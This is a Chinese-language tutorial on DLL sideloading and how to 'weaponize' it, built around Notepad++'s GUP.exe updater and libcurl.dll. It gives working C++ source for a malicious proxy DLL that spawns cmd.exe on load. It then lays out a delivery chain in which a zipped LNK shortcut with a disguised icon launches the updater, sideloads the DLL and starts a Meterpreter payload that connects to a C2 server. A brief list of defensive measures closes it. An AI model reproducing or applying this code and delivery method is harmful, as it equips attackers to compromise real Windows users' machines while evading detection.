DLL侧加载技术分析以及如何进行武器化
字数 1634 2025-08-22 22:47:30
DLL侧加载技术分析与武器化教学文档
1. DLL侧加载技术概述
DLL侧加载(DLL Sideloading)是一种恶意软件常用的规避检测的攻击技术,攻击者利用应用程序加载动态链接库(DLL)的机制(顺序搜索和模糊调用),通过在特定位置放置恶意DLL,诱使应用程序加载并执行这些恶意DLL。
1.1 Windows DLL加载机制
Windows应用程序通过以下顺序搜索DLL文件:
- 应用程序加载的目录
- 系统目录(使用GetSystemDirectory()函数获取)
- 16位系统目录
- Windows目录(使用GetWindowsDirectory()函数获取)
- 当前工作目录
- PATH环境变量中列出的目录
2. DLL侧加载攻击类型
2.1 被动利用
特点:
- 上传高信任度的独立可执行文件
- 使用旧版本的签名库(来自旧版操作系统或其他可信来源)
- 将旧版可执行文件和恶意库放在具有"写入"权限的文件夹中
优势:
- 通过合法签名的二进制文件规避应用程序控制策略
- 恶意库继承可执行文件的访问权限
- 适用于已被入侵的系统,用于规避检测
2.2 主动利用
特点:
- 识别易受DLL搜索顺序劫持的预安装应用程序或系统组件
- 将恶意库放在DLL搜索顺序中的优先位置
- 恶意库以调用进程相同的权限执行
持久性:
如果调用应用程序定期加载库(如每日检查更新),搜索顺序劫持可建立持久性。
3. 构建DLL侧加载攻击
3.1 准备工作
- 查找包含可侧加载DLL的可执行文件
- 确定可执行文件的导出函数
- 构建恶意DLL
- 将恶意DLL武器化并传播
3.2 查找可侧加载DLL的可执行文件
手动查找方法:
- 在程序目录中找到所有可执行文件
- 将这些可执行文件复制到空目录
- 运行文件并观察错误消息
- 如果返回"未找到DLL文件"错误,使用Process Monitor工具
- 观察可执行文件尝试查找DLL的位置
示例:GUP.exe(Notepad++的更新程序)
- 复制到空目录运行会报错
- 使用Process Monitor发现它在其他目录寻找libcurl.dll
3.3 确定可执行文件的导出函数
使用工具:DIE(Dependency Inspector工具)
示例:GUP.exe从libcurl.dll导出的函数:
- curl_easy_setopt
- curl_easy_cleanup
- curl_easy_perform
- curl_easy_init
参考文档:https://curl.se/libcurl/c/
3.4 构建恶意DLL
代码示例(C++):
extern "C" {
__declspec(dllexport) void curl_easy_setopt(void) { return; }
__declspec(dllexport) void curl_easy_cleanup(void) { return; }
__declspec(dllexport) void curl_easy_perform(void) { return; }
__declspec(dllexport) void curl_easy_init(void) { return; }
}
void DllUnregisterServer(void) {
system("cmd.exe");
return;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch(ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DllUnregisterServer();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
3.5 编译DLL
使用Visual Studio步骤:
- 创建新项目,选择"动态链接库(DLL)"模块
- 在dllmain.cpp中写入上述代码(注意引用源文件)
- 生成解决方案
3.6 武器化并投放植入DLL
攻击路径:
- 创建zip文档,包含快捷方式
- LNK快捷方式启动cmd.exe进程
- cmd.exe启动GUP.exe进程
- GUP进程侧载恶意libcurl.dll文件
- 恶意libcurl.dll启动cmd.exe进程
- cmd.exe启动PowerShell.exe加载恶意命令
- PowerShell连接到C2服务器
具体步骤:
- 创建快捷方式,修改为调用cmd.exe执行GUP.exe
- GUP.exe会侧加载恶意libcurl.dll并启动Meterpreter负载
- 将所有文件打包成zip文档
- 为LNK文件替换图标增加真实性
4. 防御措施
- 启用DLL搜索顺序安全策略
- 使用完整路径加载DLL
- 设置SafeDllSearchMode注册表项
- 使用SetDefaultDllDirectories API限制搜索路径
- 实施应用程序白名单
- 监控异常DLL加载行为
5. 总结
DLL侧加载是一种有效的攻击技术,利用Windows的DLL加载机制实现代码执行和权限提升。防御需要从系统设置、应用程序开发和运行时监控多方面入手。